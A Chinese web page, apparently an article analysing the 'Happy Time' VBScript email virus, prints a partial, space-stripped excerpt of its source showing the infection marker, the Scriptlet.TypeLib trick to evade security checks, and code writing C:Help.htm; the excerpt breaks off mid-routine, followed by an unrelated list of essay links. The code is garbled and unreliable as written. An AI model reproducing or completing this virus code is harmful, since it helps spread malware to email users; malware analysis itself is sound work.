翻新时间：2022-11-14
欢乐时光代码分析
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。
下面让我们来看看它藏在快乐的外衣下的是什么吧！
***************欢乐时光***************
RemIamsorry!happytime
OnErrorResumeNext
Mload
’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。
Submload()
OnErrorResumeNext
mPath=Grf()
SetOs=CreateObject("Scriptlet.TypeLib")
SetOh=CreateObject("Shell.Application")
’建立枚举对象，避开了安全审核
IfIsHTMLThen
’调用IsHtml函数，如果是Html，就小写……
mURL=LCase(document.Location)
IfmPath=""Then
Os.Reset
Os.Path="C:Help.htm"
Os.Doc=Lhtml()
Os.Write()
’如果mPath为空，就在C盘下生成Help.htm
Ihtml=""
’超文本的内容，并指向C:Help.Htm
Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)
Else
IfIv(mPath,"Help.vbs")Then
setInterval"Rt()",10000
Else
m="hta"
IfLCase(m)=Right(mURL,Len(m))Then
id=setTimeout("mclose()",
1)
’设置超时条件
main
Else
Os.Reset()
Os.Path=mPath
下载文档
网友最新关注
- 桃源洞的一线天
- 月光下的乡村——改写《西江月》
- 种绿豆
- 美丽的校园
- 我的成长故事
- 种绿豆
- 妈妈的礼物
- 我喜欢
- 秋爷爷的杰作
- 角落里的花
- 小豆芽儿
- 小猫和蛇
- 冬
- 千佛山
- 夜行黄沙道中——改写《西江月》
- 法治、合理性及其代价法学理论论文(1)
- 继受法律的理性科学化
- 非公有制经济宪法地位的规范分析法学理论论文(1)
- 当代中国的法律解释问题研究法学理论论文(1)
- 公民个体为本、统一宪政立国(上)法学理论论文(1)
- 认真对待违宪审查法学理论论文(1)
- 也许正在发生
- 国际恐怖主义犯罪及其惩治理念法学理论论文(1)
- 转变职能，改革体制，建设法治政府法学理论论文(1)
- 出释入造
- 以生活经验贴近法律
- 论道德的法律支持及其限度法学理论论文(1)
- 自然法学新体系引论法学理论论文(1)
- 事物，事实，论证法学理论论文(1)
- 法律原则适用的困境
- 《电脑住宅》教学谈
- 《电脑住宅》教学设计6
- 《电脑住宅》教学杂谈
- 《飞向蓝天的恐龙》教学设计2
- 《电脑住宅》快乐练习：达标训练
- 《飞向蓝天的恐龙》教学设计1 第二课时
- 《飞向蓝天的恐龙》第二课时教学设计
- 《飞向蓝天的恐龙》第一课时教学设计
- 《电脑住宅》教学设计8
- 《电脑住宅》教学反思
- 《飞向蓝天的恐龙》词语
- 《飞向蓝天的恐龙》教学设计2 第二课时
- 《电脑住宅》教学设计7
- 《电脑住宅》快乐练习：课堂达标（二）
- 《电脑住宅》快乐练习：同步训练